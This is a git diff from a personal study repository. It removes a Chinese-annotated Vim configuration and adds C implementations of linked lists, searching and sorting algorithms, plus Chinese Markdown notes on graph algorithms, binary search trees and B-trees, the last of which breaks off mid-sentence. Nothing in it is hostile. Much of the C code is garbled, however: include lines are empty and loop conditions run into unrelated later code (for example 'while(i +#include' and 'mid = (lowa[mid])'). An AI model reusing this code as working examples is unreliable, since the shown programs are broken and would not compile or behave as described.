diff --git a/.vimrc b/.vimrc deleted file mode 100644 index f939246e..00000000 --- a/.vimrc +++ /dev/null @@ -1,199 +0,0 @@ -set langmenu=zh_CN.UTF-8 "设置菜单语言 -source $VIMRUNTIME/delmenu.vim "导入删除菜单脚本,删除乱码的菜单 -source $VIMRUNTIME/menu.vim "导入正常的菜单脚本 -language messages zh_CN.utf-8 "设置提示信息语言 - -imap ^? -"set backspace=indent,eol,start -syntax enable -set nu "设置行号 -set cursorline "设置光标行 -syntax on "语法高亮 -set shortmess=atI "去掉欢迎界面 -set ai "自动缩进 -set si "智能缩进 -set guioptions-=m "不显示菜单栏 -set guioptions-=T "不显示工具栏toobar -set history=58 "history文件中需要记录的行数 -set incsearch "搜索时高亮显示被查找的内容 -set hlsearch "搜索时高亮显示被查找的文本 -set helplang=cn "帮助文档显示中文 -set nowrap " 不要换行 -"colorscheme murphy -""colorscheme desert "主题选择,背景色 -colorscheme vividchalk - -"tab转换为四个字符 -set expandtab -set smarttab -set shiftwidth=4 -set tabstop=4 - -" 设定默认解码 -set fenc=utf-8 -set encoding=utf-8 -let &termencoding=&encoding -set fileencodings=utf-8,gb18030,gbk,gb2312,usc-bom,euc-jp,cp936,ucs-bom,latin1 -set confirm " 在处理未保存或只读文件的时候,弹出确认 -filetype on " 侦测文件类型 -filetype plugin on " 载入文件类型插件 -filetype indent on " 为特定文件类型载入相关缩进文件 -set viminfo+=! " 保存全局变量 - -" 状态行配置 -set laststatus=2 "总是显示状态栏 -highlight StatusLine cterm=bold ctermfg=yellow ctermbg=blue -:set statusline=%t%m%r%h%w\ -":set statusline+=[FORMAT=%{&ff}]\ -":set statusline+=[TYPE=%Y]\ [ASCII=\%03.3b]\ [HEX=\%02.2B]\ -:set statusline+=[POS=%04l,%04v,LEN=%L,%p%%]\ -:set statusline+=<%{&fileencoding}> " encoding - -"NERDTree -"autocmd VimEnter * NERDTree /home/lxf/svn "自动打开并定位到d:\www目录 -let NERDTreeWinPos="left" -let NERDTreeShowBookmarks=1 -let NERDChristmasTree=1 -let NERDTreeWinSize=25 -let NERDTreeShowBookmarks=1 -let NERDTreeChDirMode=2 -map :NERDTreeToggle -imap :NERDTreeToggle -nmap :NERDTree -nmap :BufExplorer -nmap :BufExplorer - -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -" CTags的设定 -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -"set tags=tags -set autochdir " 自动切换当前目录为当前文件所在目录 - - -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -" Tag list (ctags) -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -"if MySys() == "windows" "设定windows系统中ctags程序的位置 -"let Tlist_Ctags_Cmd = 'ctags' -"elseif MySys() == "linux" "设定linux系统中ctags程序的位置 -"let Tlist_Ctags_Cmd = '/usr/bin/ctags' -"endif -let Tlist_Show_One_File = 1 "不同时显示多个文件的tag,只显示当前文件的 -let Tlist_Exit_OnlyWindow = 1 "如果taglist窗口是最后一个窗口,则退出vim -let Tlist_Use_Right_Window = 1 "在右侧窗口中显示taglist窗口 -map :TlistToggle - - -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -" 文件设置 -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -"禁止生成临时文件 -set nobackup -set noswapfile -"搜索忽略大小写 -set ignorecase -"搜索逐字符高亮 -set hlsearch -set incsearch - -" 字符间插入的像素行数目 -set linespace=0 - -" 增强模式中的命令行自动完成操作 -set wildmenu - -" 在状态行上显示光标所在位置的行号和列号 -set ruler -set rulerformat=%20(%2*%<%f%=\ %m%r\ %3l\ %c\ %p%%%) - -" 命令行(在状态行下)的高度,默认为1,这里是2 -set cmdheight=2 - -" 使回格键(backspace)正常处理indent, eol, start等 -set backspace=2 - -" 通过使用: commands命令,告诉我们文件的哪一行被改变过 -set report=0 - - -"vim(gvim)支持对齐线-----------------------2012-08-01----start------/ -":set cc=80 -map ch :call SetColorColumn() -function! SetColorColumn() - let col_num = virtcol(".") - let cc_list = split(&cc, ',') - if count(cc_list, string(col_num)) <= 0 - execute "set cc+=".col_num - else - execute "set cc-=".col_num - endif -endfunction -"-----------------------------------------------------------end------/ - -"php语法错误检测-----2012-08-03---------------------------start------/ -"方法一 -"map :!php -l % -"方法二 -function! CheckPHPSyntax() - if &filetype != 'php' - echohl WarningMsg | echo 'This is not a PHP file !' | echohl None - return - endif - setlocal makeprg=/usr/local/php/bin/php\ -l\ -n\ -d\ html_errors=off\ % - setlocal errorformat=%m\ in\ %f\ on\ line\ %l - echohl WarningMsg | echo 'Syntax checking output:' | echohl None - if &modified == 1 - silent write - endif - silent make - clist -endfunction -au filetype php map :call CheckPHPSyntax() au filetype php map :call CheckPHPSyntax() -au filetype php imap :call CheckPHPSyntax() -"-----------------------------------------------------------end------/ - - - -""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -"""""新文件标题 -"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" -"新建.c,.h,.sh,.java文件,自动插入文件头 -autocmd BufNewFile *.cpp,*.[ch],*.sh,*.java,*.py exec ":call SetTitle()" -""定义函数SetTitle,自动插入文件头 -func SetTitle() - call append(line("."), "########################################################################/") - call append(line(".")+1, "# File Name: ".expand("%")) - call append(line(".")+2, "# Author: Liangxifeng") - call append(line(".")+3, "# Mail: liangxifeng833@163.com ") - call append(line(".")+4, "# Created Time: ".strftime("%c")) - call append(line(".")+5, "########################################################################/") - call append(line(".")+6, "") - "如果文件类型为.sh文件 - if &filetype == 'sh' - call setline(1,"\#!/bin/bash") - "call append(line("."), "") - elseif &filetype == 'python' - call setline(1,"#!/usr/bin/python") - "call append(line("."), "") - elseif &filetype == 'php' - call setline(1,"") - call append(line(".")+7, "") - endif - -endfunc -autocmd BufNewFile * normal G - - -set background=dark "配置背景颜色为深色 light为浅色,防止行到一定宽度后背景变红,位置必须放在最后 -""set background=light "配置背景颜色为深色 light为浅色,防止行到一定宽度后背景变红,位置必须放在最后 -set guifont=Liberation\ Mono\ 10 - -"插入模式下移动" -inoremap -inoremap -inoremap -inoremap diff --git a/C/LinkList.c b/C/LinkList.c new file mode 100644 index 00000000..8ee5e25f --- /dev/null +++ b/C/LinkList.c @@ -0,0 +1,160 @@ +/* + * C语言实现单链表操作 + * date:2015-05-17 + */ +#include +#include +#define LEN sizeof(Node) +//定义结构体类型,存放学生信息的链表结点 +typedef struct student +{ + long num; //学号 + float score;//分数 + struct student *next; //指针指向下一学生信息个结点 +}Node, *LinkList; //为struct student 结构体定义两个别名:Node和*LinkList + +//全局变量,本文模块中各函数均可调用  +int n; + +/*创建一个新链表,返回表头指针*/ +//struct student *create(void) +//Node *create(void) +LinkList create(void) //和以上两种情况等效 +{ + //头指针top,头结点head + Node *top; + //Node *p, *tmp; + LinkList p, tmp; + n = 0; + //定义头结点 + p = (struct student *)malloc(LEN); + top = p; //头指针指向头结点 + p->next = NULL; //头结点指针域指向NULL,代表空链表 + + tmp = (struct student *)malloc(LEN); + //用户输入学生链表信息 + scanf("%ld, %f", &tmp->num, &tmp->score); + while(tmp->num!=0) + { + ++n; + p->next = tmp; + p = tmp; + tmp=(LinkList)malloc(LEN); + scanf("%ld, %f", &tmp->num, &tmp->score); + } + p->next = NULL; + return top; +} +/* + * 删除指定学号的结点 + * 返回头指针 +*/ +LinkList del(Node *head, long num) +{ + LinkList cur, p, tmp; + //获取头结点的指针, 指向第一个学生信息结点元素 + //空链表情况 + cur = head->next; + if(cur == NULL) + { + printf("\nList null\n"); + } + //查找指定学号的结点 p + while(num!=cur->num && cur->next!=NULL) + { + p = cur; + cur = cur->next; + } + //如果查找到指定学号结点 + if(num == cur->num) + { + p->next = cur->next; + free(cur); + --n; + printf("delete:%ld\n", num); + }else + { + printf("%ld not been found!\n", num); + } + return head; +} +/* + * 向链表中新插入结点 + * @param [point] - head 链表头指针 + * @param [point] - newNode 新结点 + * 返回头指针 +*/ +LinkList insert(Node *nhead, Node *nNode) +{ + LinkList cur, p, newNode; + cur = nhead; + cur = cur->next; + newNode = nNode; + + //查找到在什么位置插入新结点 + while(newNode->num > cur->num && cur->next!=NULL) + { + p = cur; + cur = cur->next; + } + //插入到链表中间 + if(newNode->num<=cur->num) + { + p->next = newNode; + newNode->next = cur; + }else + //插入到链表最后 + { + cur->next = newNode; + newNode->next = NULL; + } + ++n; + return nhead; +} +//打印链表 +void print(LinkList head) +{ + Node *p; + printf("\nNow, These %d records are:\n", n); + p = head; + if(head!=NULL) + { + p = p->next; //过滤掉头结点,从第一个结点开始遍历 + if(p!=NULL) + { + do + { + printf("%ld, %5.1f\n", p->num, p->score); + p=p->next; + }while(p!=NULL); + } + } +} + +main(void) +{ + Node *head, *stu, *create(void); + LinkList del(Node *head, long del_num); + LinkList insert(Node *head, Node *nNode); + + //创建链表 + head = create(); + print(head); + + //删除链表 + printf("\n input the delete number:"); + long del_num; + scanf("%ld",&del_num ); + head = del(head,del_num); + print(head); + + //向链表中插入新结点 + stu = (LinkList)malloc(LEN); //新申请空间, 返回内存地址 + printf("\n place input new student num and score :\n"); + scanf("%ld, %f", &stu->num, &stu->score); + if(stu->num!=0) + { + head = insert(head, stu); + print(head); + } +} diff --git a/C/README.md b/C/README.md new file mode 100644 index 00000000..5aa2c191 --- /dev/null +++ b/C/README.md @@ -0,0 +1,4 @@ +### search - 查找算法目录 +### LinkList.c - 单链表C语言实现 +### normal_pattern.c - 朴素模式匹配算法 +### sort - 排序算法目录 diff --git a/C/a.out b/C/a.out new file mode 100755 index 00000000..4be57186 Binary files /dev/null and b/C/a.out differ diff --git a/C/normal_pattern.c b/C/normal_pattern.c new file mode 100644 index 00000000..a583432b --- /dev/null +++ b/C/normal_pattern.c @@ -0,0 +1,33 @@ +/* + * C语言实现朴素模式匹配算法 + * 在主字串s中查找字串t,如果匹配成功则返回t在s中出现的位置 + * date:2015-05-18 + */ +#include +void main(int argc, char *argv[]) +{ + char s[] = "abcabcdefg"; + char t[] = "abcdefi"; + int sLen = sizeof(s)-1; //s的长度 + int tLen = sizeof(t)-1; //t的长度 + int i=0, j=0; + while(i +#include +int binary_search(int *a, int n, int key) +{ + int low, high, mid; + //最低下标为记录首位 + low = 1; + //最高下标为记录末位 + high = n; + while(low<=high) + { + //拆半 + mid = (lowa[mid]) + { + low = mid+1; + }else if(key +#include +#include +//计算斐波那契数列 数组 +void fiboArr(int *f) +{ + f[0] = 1; + f[1] = 1; + int i; + for(i=2; i<20; i++) + { + f[i] = f[i-1]+f[i-2]; + } +} +//斐波那契查找主函数 +int fibo_search(int *a, int n, int key) +{ + int F[20] = {0}; + fiboArr(F); + int low, high, mid, i, k; + //最低下标为记录首位 + low = 1; + //最高下标为记录末位 + high = n; + k = 0; + //查找n位于数列的位置 + while(n>F[k]-1) + { + k++; + } + //将不满数组补全 + for(i=n; ia[mid]) + { + low = mid+1; + k=k-2; + }else if(keyn说明查找到的是不全的数值,返回n + return n; + } + } + } + return 0; +} + +main(void) +{ + int arr[] = {0, 1, 16, 24, 25, 35, 47, 59, 62, 73, 88, 99}; + int len, key; + len = sizeof(arr)/sizeof(int); + printf("please input search int:"); + scanf("%d", &key); + int res = fibo_search(arr, len, key); + if(res == 0) + { + printf("search failed!\n"); + return; + } + printf("search seccess!\n"); +} diff --git a/C/search/hash_search.c b/C/search/hash_search.c new file mode 100644 index 00000000..28555c53 --- /dev/null +++ b/C/search/hash_search.c @@ -0,0 +1,103 @@ +/* + * 哈希表查找算法 + * 2015-08-26 + */ +#include +#include +#include + +#define OK 1 +#define ERROR 0 +#define TRUE 1 +#define FALSE 0 +#define MAXSEZE 100 //存储空间初始化分配量 +#define SUCCESS 1 +#define UNSUCCESS 0 +#define HASHSIZE 12 //定义hash表长为数组长度 +#define NULLKEY -37768 + +/* Status是函数的类型, 其值是函数结果状态代码,如OK等 */ +typedef int Status; +/*HashTable结构*/ +typedef struct +{ + int *elem; /* 数据元素存储基址,动态分配数组 */ + int count; /* 当前数据元素个数 */ + +}HashTable; +int m=0; /* 散列表表长,全局变量 */ + +/* 初始化散列表 */ +Status InitHashTable(HashTable *H) +{ + int i; + m=HASHSIZE; + H->count=m; + //hashTable首元素地址 + H->elem = (int *)malloc(m*sizeof(int)); + for(i=0; ielem[i]=NULLKEY; + return OK; +} + +/* 散列函数 */ +int Hash(int key) +{ + return key % m; /* 除留余数法 */ + +} + +/* 插入关键字进散列表 */ +void InsertHash(HashTable *H, int key) +{ + int addr = Hash(key); /* 求散列地址 */ + while (H->elem[addr] != NULLKEY) /* 如果不为空,则冲突 */ + { + addr = (addr+1) % m; /* 开放定址法的线性探测 */ + + } + H->elem[addr] = key; /* 直到有空位后插入关键字 */ +} + +/* 散列表查找关键字 */ +Status SearchHash(HashTable H, int key, int *addr) +{ + *addr = Hash(key); /* 求散列地址 */ + while(H.elem[*addr] != key) /* 如果不为空,则冲突 */ + { + *addr = (*addr+1) % m; /* 开放定址法的线性探测 */ + if (H.elem[*addr] == NULLKEY || *addr == Hash(key)) /* 如果循环回到原点 */ + return UNSUCCESS; /* 则说明关键字不存在 */ + + } + return SUCCESS; +} + +int main() +{ + int arr[HASHSIZE]={12, 67, 56, 16, 25, 37, 22, 29, 15, 47, 48, 34}; + int i, p, key, result; + HashTable H; + + key=12; + + InitHashTable(&H); + for(i=0; i +/* + * 最基础的顺序查找 + */ +int sequence_search(int *a, int n, int key) +{ + int i; + for(i=1; i<=n; i++) + { + if(a[i] == key) + { + return i; + } + } + return 0; +} +/* + * 优化基础顺序查找 + */ +int sequence_search2(int *a, int n, int key) +{ + int i; + //哨兵, 减少了在循环中做判断的操作, 在数据量特别大的情况下效率很高 + a[0] = key; + i = n; + while(a[i]!=key) + { + i--; + } + return i; +} + +main(void) +{ + int arr[10] = {1, 2, 3, 4, 5, 6, 7}; + printf("please input serach num:"); + int key; + scanf("%d", &key); + int res = sequence_search2(arr, 7, key); + if(res != 0) + { + printf("ok\n"); + }else + { + printf("no\n"); + } +} diff --git a/C/sort/bubble_select_sort.c b/C/sort/bubble_select_sort.c new file mode 100644 index 00000000..443a2d05 --- /dev/null +++ b/C/sort/bubble_select_sort.c @@ -0,0 +1,117 @@ +/* + * 冒泡排序, 简单选择排序算法 + * 2015-09-05 + */ +#include +#include + +#define MAXSIZE 10 +#define TRUE 1 +#define FALSE 0 +typedef int status; + + +//交换数组r[i] 和 r[j]的值 +void swap(int *r, int i, int j) +{ + int tmp = r[i]; + r[i] = r[j]; + r[j] = tmp; +} + +/* +* 简单交换 +*/ +void bubbleSort_one(int *r, int len) +{ + int i, j; + for(i=0; ir[j]) + { + swap(r, i, j); + } + } + } +} + +/* +* 冒泡排序 +*/ +void bubbleSort_two(int *r, int len) +{ + int i, j; + for(i=0; i=i; j--) + { + if(r[j]>r[j+1]) + { + swap(r, j, j+1); + } + } + } +} +/* +* 冒泡排序优化 +*/ +void bubbleSort_three(int *r, int len) +{ + int i, j; + //设置标志位 + status flag=TRUE; + for(i=0; i=i; j--) + { + if(r[j]>r[j+1]) + { + swap(r, j, j+1); + flag=TRUE; + } + } + } +} +/* +* 简单选择排序 +*/ +void select_sort(int *r, int len) +{ + int i, j, min; + for(i=0; ir[j]) + { + min = j; + } + } + //如果min!=1代表找到最小值, 接下来的操作就是交换了 + if(min!=i) + { + swap(r, i, min); + } + } +} + +main(void) +{ + int list[] = {9, 1, 5, 8, 3, 7, 4, 6, 2}; + int len, i; + //求数组长度 + len = sizeof(list)/sizeof(int); + //bubbleSort_one(list, len); + //bubbleSort_two(list, len); + //bubbleSort_three(list, len); + select_sort(list, len); + for(i=0; i - - - - diff --git "a/datastruct/\345\233\276-\346\213\223\346\211\221\346\216\222\345\272\217.md" "b/datastruct/\345\233\276-\346\213\223\346\211\221\346\216\222\345\272\217.md" new file mode 100644 index 00000000..63a6ef37 --- /dev/null +++ "b/datastruct/\345\233\276-\346\213\223\346\211\221\346\216\222\345\272\217.md" @@ -0,0 +1,46 @@ +### 拓扑排序 +* 针对有向无回路图; +* 将有向图中的顶点以 `线性` 方式进行排序; +* 有向图顶点表示 `活动`,弧表示活动之间的 `优先` 关系,称为 `AOV` 网 ( Activity On Vertex Network ), AOV网中不能存在回路; +* 拓扑序列:有向图中Vi到Vj存在路径,顶点序列中Vi必须在Vj前面; +* 拓扑排序:对有向图构造拓扑序列的过程; + +### 应用场景 +* 各种工程或项目的 `流程图` 中. +* 拓扑排序的基础是先有拓扑图 (AOV网图),在拓扑图建好的基础上我们执行拓扑排序; +* 例如:大学的选修课程很多,一个学生只允许在同一时间只选修一们课程,其中一个学生选修机器学习课程门机器学习的课程,但是在修这课程之前,要学习一些基础课程,比如计算机科学概论,C语言程序设计,数据结构,算法等等。那么`这个制定选修课程顺序的过程,实际上就是一个拓扑排序的过程`,每门`课程` 相当于有向图中的一个 `顶点`,而连接顶点之间的`有向边`就是课程学习的`先后`关系。将这个过程以算法的形式描述出来的结果,就是拓扑排序; + +### 拓扑排序算法 +* 从AOV网中选择一个入度为0的顶点输出, 然后删除此顶点,并删除以该顶点为弧尾的弧; +* 重复以上步骤,直到输出全部顶点或网中不存在入度为0的顶点; + + +**AOV网如下图:** + +![AOV网](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-topology-sort-1.png) + +**邻接表逻辑结构如下图:** + +![邻接表逻辑结构](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-topology-sort-2.png) + +**邻接表数据结构如下图:** + +![邻接表数据结构](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-topology-sort-3.png) + +**算法如下图:** + +![算法](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-topology-sort-4.png) + +**分析算法如下图** + +![分析算法](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-topology-sort-5.png) + +**其它的处理方式类似,直至全部打印删除。** +**最终的拓扑排序打印结果为:** +3->1->2->6->0->4->5->8->7->12->9->10->13->11 + +*分析整个算法,对一个具有n各顶点e条弧的AOV网来说: +第8-10行扫描顶点表,将入度为0的顶点入栈的时间复杂度为O(n); +而之后的while循环中,每个顶点进一次栈,出一次栈,入度减1的操作执行了e次。 +所以整个算法的时间复杂度为 `O(n+e)`* + diff --git "a/datastruct/\345\233\276-\346\234\200\347\237\255\350\267\257\345\276\204.md" "b/datastruct/\345\233\276-\346\234\200\347\237\255\350\267\257\345\276\204.md" new file mode 100644 index 00000000..b265b21a --- /dev/null +++ "b/datastruct/\345\233\276-\346\234\200\347\237\255\350\267\257\345\276\204.md" @@ -0,0 +1,236 @@ +### 最短路径 +* 网图:`两个` 顶点之间经过的边上权值之和最小的路径; + +### 迪杰斯特拉(Dijkstra)算法 +* 从某个源点到其余各顶点的最短路径问题; +* 按照路径长度递增的产生最短路径; +* 不是一次性算出两个定点之间的最短距离; +* 通过计算每个中间顶点的最短距离,最后推导出要求的顶点最短距离; +* 时间复杂度是 O(![](http://latex.codecogs.com/svg.latex?n^2)); + + + + + + + +1. 5~12行是初始化阶段,final一维数组值均为0,D数组记录所有顶点到v0的最短路径值,当前是{65535,1,5,65535,65535,65535,65535,65535,65535},p数组全为0,表示目前还没有找到任意一个顶点的最短路径 +2. 13行是一个主循环,每循环一次求得v0与一个顶点的最短路径,也就是让一个顶点的final值为1 +3. 16~24行的循环,先令min为65535,通过w循环,与D[w]比较,找到目前最小的min和k值。当前是:D[1]的值最小,因为在第一次初始化的时候,v0连接的就两条边,v1和v2,如果是第二次循环,那就是D[2] +4. 25~32行,是在修正之前已经判定的v0和某个点的最短距离,例如:在初始化的时候v0到v2的最短距离是5,但是第一次循环完成之后,发现v0->v1=min=1,v1->v2=3,因此v0->v1->v2=min+G.matirx[v1][v2]=4,这个值是小于D[2]=5的. + +### 弗洛伊德(Floyd)算法 +**所有顶点到所有顶点的最短路径 ( 每个顶点之间的最短路径 ),时间复杂度为O(![](http://latex.codecogs.com/svg.latex?n^3))**; + +![graph-floyd-algorithm-1](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-floyd-algorithm-1.png) + +上图v0作为中转点,求每个顶点之间的最短路径; +首先,我们来分析,所有的顶点经过v0后到达另一顶点的最短距离。因为只有三个顶点,因此需要查看v1->v0->v2,得到D-1 [1][0] + D-1 [0][2] = 2 + 1 = 3。D-1 [1][2]表示的是v1->v2的权值是5,我们发现D-1 [1][2] > D-1 [1][0] + D-1 [0][2],通俗的讲就是v1->v0->v2比直接v1->v2距离还要近。所以我们就让D-1 [1][2] = D-1 [1][0] + D-1 [0][2],同样的D-1 [2][1] = 3,于是就有了D0 的矩阵。因为有了变化,所以P矩阵对应的P-1[1][2]和P-1[2][1]也修改为当前中转的顶点v0的下标0,于是就有了P0。所以在这里用通用表达式表示任意两个顶点之间最短路径为: + +> ![](http://latex.codecogs.com/svg.latex?D^0)[v][w] = min{![](http://latex.codecogs.com/svg.latex?D^0)[v][w],![](http://latex.codecogs.com/svg.latex?D^{-1})[v][k]+![](http://latex.codecogs.com/svg.latex?D^{-1})[k][w]} + > v代表开始顶点, w代表结束顶点, k代表中转点 + +**下面我们开看实际代码** +![graph-floyd-algorithm-2](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-floyd-algorithm-2.png) +* 上图左网图准备两个矩阵D-1和P-1,就是网图的邻接矩阵,初设为P[i][j] = j这样的矩阵; + +![graph-floyd-algorithm-2](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-floyd-algorithm-3.png) + +1. 程序开始运行,第4-11行就是初始化了D和P,使得它们成为 上图 的两个矩阵。从矩阵也得到,v0->v1路径权值为1,v0->v2路径权值为5,v0->v3无边连线,所以路径权值为极大值65535。 +2. 第13~27行,是算法的主循环,一共三层嵌套,k代表的就是 `中转顶点的下标` 。v代表起始顶点,w代表结束顶点。 +3. 当k = 0时,也就是所有的顶点都经过v0中转,计算是否有最短路径的变化。可惜结果是,没有任何变化,如下图所示: +![graph-floyd-algorithm-2](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-floyd-algorithm-4.png) +4. 当k = 1时,也就是所有的顶点都经过v1中转。此时,当v = 0 时,原本D[0][2] = 5,现在由于D[0][1] + D[1][2] = 4。因此由代码的的第20行,二者取其最小值,得到D[0][2] = 4,同理可得D[0][3] = 8、D[0][4] = 6,当v = 2、3、4时,也修改了一些数据,请看下图左图中虚线框数据。由于这些最小权值的修正,所以在路径矩阵P上,也要做处理,将它们都改为当前的P[v][k]值,见代码第21行; +![graph-floyd-algorithm-2](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-floyd-algorithm-5.png) +5. 接下来就是k = 2,一直到8结束,表示针对每个顶点做中转得到的计算结果,当然,我们也要清楚,D0是以D-1为基础,D1是以D0为基础,......,D8是以D7为基础的。最终,当k = 8时,两个矩阵数据如下图所示 +![graph-floyd-algorithm-2](https://raw.githubusercontent.com/liangxifeng833/my_program/master/images/datastruct/graph-floyd-algorithm-6.png) + +*至此,我们的最短路径就算是完成了。可以看到矩阵第v0行的数值与迪杰斯特拉算法求得的D数组的数值是完全相同。而且这里是所有顶点到所有顶点的最短路径权值和都可以计算出。* + +*那么如何由P这个路径数组得出具体的最短路径呢?以v0到v8为例,从上图的右图第v8列,P[0][8]= 1,得到要经过顶点v1,然后将1取代0,得到P[1][8] = 2,说明要经过v2,然后2取代1得到P[2][8] = 4,说明要经过v4,然后4取代2,得到P[4][8]= 3,说明要经过3,........,这样很容易就推倒出最终的最短路径值为v0->v1->v2->v4->v3->v6->v7->v8。* + +**求最短路径的显示代码可以这样写:** + +``` +for(v=0; v %d",k); /* 打印路径顶点 */ + k=P[k][w]; /* 获得下一个路径顶点下标 */ + } + printf(" -> %d\n",w); /* 打印终点 */ + } + printf("\n"); + } +``` + +**总体代码如下:** +``` +#include "stdio.h" +#include "stdlib.h" +#include "io.h" +#include "math.h" +#include "time.h" + +#define OK 1 +#define ERROR 0 +#define TRUE 1 +#define FALSE 0 +#define MAXEDGE 20 +#define MAXVEX 20 +#define INFINITY 65535 + +typedef int Status; /* Status是函数的类型,其值是函数结果状态代码,如OK等 */ + +typedef struct +{ + int vexs[MAXVEX]; + int arc[MAXVEX][MAXVEX]; + int numVertexes, numEdges; +}MGraph; + +typedef int Patharc[MAXVEX][MAXVEX]; +typedef int ShortPathTable[MAXVEX][MAXVEX]; + +/* 构件图 */ +void CreateMGraph(MGraph *G) +{ + int i, j; + + /* printf("请输入边数和顶点数:"); */ + G->numEdges=16; + G->numVertexes=9; + + for (i = 0; i < G->numVertexes; i++)/* 初始化图 */ + { + G->vexs[i]=i; + } + + for (i = 0; i < G->numVertexes; i++)/* 初始化图 */ + { + for ( j = 0; j < G->numVertexes; j++) + { + if (i==j) + G->arc[i][j]=0; + else + G->arc[i][j] = G->arc[j][i] = INFINITY; + } + } + + G->arc[0][1]=1; + G->arc[0][2]=5; + G->arc[1][2]=3; + G->arc[1][3]=7; + G->arc[1][4]=5; + + G->arc[2][4]=1; + G->arc[2][5]=7; + G->arc[3][4]=2; + G->arc[3][6]=3; + G->arc[4][5]=3; + + G->arc[4][6]=6; + G->arc[4][7]=9; + G->arc[5][7]=5; + G->arc[6][7]=2; + G->arc[6][8]=7; + + G->arc[7][8]=4; + + + for(i = 0; i < G->numVertexes; i++) + { + for(j = i; j < G->numVertexes; j++) + { + G->arc[j][i] =G->arc[i][j]; + } + } + +} + +/* Floyd算法,求网图G中各顶点v到其余顶点w的最短路径P[v][w]及带权长度D[v][w]。 */ +void ShortestPath_Floyd(MGraph G, Patharc *P, ShortPathTable *D) +{ + int v,w,k; + for(v=0; v(*D)[v][k]+(*D)[k][w]) + {/* 如果经过下标为k顶点路径比原两点间路径更短 */ + (*D)[v][w]=(*D)[v][k]+(*D)[k][w];/* 将当前两点间权值设为更小的一个 */ + (*P)[v][w]=(*P)[v][k];/* 路径设置为经过下标为k的顶点 */ + } + } + } + } +} + +int main(void) +{ + int v,w,k; + MGraph G; + + Patharc P; + ShortPathTable D; /* 求某点到其余各点的最短路径 */ + + CreateMGraph(&G); + + ShortestPath_Floyd(G,&P,&D); + + printf("各顶点间最短路径如下:\n"); + for(v=0; v %d",k); /* 打印路径顶点 */ + k=P[k][w]; /* 获得下一个路径顶点下标 */ + } + printf(" -> %d\n",w); /* 打印终点 */ + } + printf("\n"); + } + + printf("最短路径D\n"); + for(v=0; v + +###定义 +* Binary Sort Tree; +* 又称为二叉查找树; +* 左子树上所有结点的值均小于根结点的值; +* 右子树上所有结点的值均大于根结点的值; + +###特性 +* 二叉排序树中,各结点关键字是 `惟一` 的; +* 中序遍历BST为 `有序` 序列; + +###操作 +* 插入操作很简单,最终成为度<2的结点的孩子; +* 删除操作分为两种情况: + 1. 删除结点只有一个孩子,则将它的左/右子树整个移动到删除结点的位置; + 2. 删除结点有两个孩子,则将BST中序遍历该结点的 `前驱` 或 `后继` 结点代替删除结点的位置,(或者说是将删除结点左子树中序遍历 `最后一个` 结点或删除结点右子树中序遍历 `第一个结点` 代替删除结点的位置); + +![BST](http://7xirg5.com1.z0.glb.clouddn.com/BST.png) + +* 上图:无序串 BFXDYAC可以存储在数据库或文件中 `存储`,我们在写程序的时候,将其取出,然后将其构造为BST `内存`,最后就可以对BST进行操作 `实际操作`。 + +###讨论板图 +![taolun-BST](http://7xirg5.com1.z0.glb.clouddn.com/taolun-BST.jpg) + diff --git "a/datastruct/\346\237\245\346\211\276-\345\244\232\350\267\257\346\237\245\346\211\276B\346\240\221.md" "b/datastruct/\346\237\245\346\211\276-\345\244\232\350\267\257\346\237\245\346\211\276B\346\240\221.md" new file mode 100644 index 00000000..9a5989b8 --- /dev/null +++ "b/datastruct/\346\237\245\346\211\276-\345\244\232\350\267\257\346\237\245\346\211\276B\346\240\221.md" @@ -0,0 +1,100 @@ +###为什么? +* 普通树或二叉树等一个结点只能存一个元素,比如BST、AVL、红黑等都是为了内存而设计; +* B树每个结点可以有n个元素和n+1个孩子,减少树的高度,减少树的度,所以可以`降低`内存读取外存的次数;( 对二叉查找树的改进。它的设计思想是,将相关数据尽量集中在一起,以便一次读取多个数据,`减少硬盘操作次数`)。 +* B树为了 `磁盘` 或其它 `存储设备` 而设计的一种 `多叉平衡查找树`; + + + +###硬件知识 +* 首先,我们都知道内存比外存(硬盘)存储空间要小,因为内存的材料要比硬盘贵很多,所以我们把不常用数据(比如mysql数据)保存在硬盘中,当需要使用的时候通过总线传输到内存中,我们常使用的硬盘都是机械硬盘,查找数据的时候是有时间消耗的,所以我们在查找数据时尽量保证尽可能少的次数就可以把想要的数据查找到,那么下面我们来了解一下硬盘的原理: +![disk-1](http://7xirg5.com1.z0.glb.clouddn.com/disk-2.png) +![disk](http://7xirg5.com1.z0.glb.clouddn.com/disk.png) + +* 硬盘构造: + + 磁盘是一个扁平的圆盘(与电唱机的唱片类似)。盘面上有许多称为磁道的圆圈,数据就记录在这些磁道上。磁盘可以是单片的,也可以是由若干盘片组成的盘组,每一盘片上有两个面,如上图:除去最顶端和最底端的外侧面不存储数据之外,一共有10个面可以用来保存信息。 + + 当磁盘驱动器执行读/写功能时。盘片装在一个主轴上,并绕主轴高速旋转,当磁道在读/写头(又叫磁头) 下通过时,就可以进行数据的读 / 写了。 + + 活动头盘 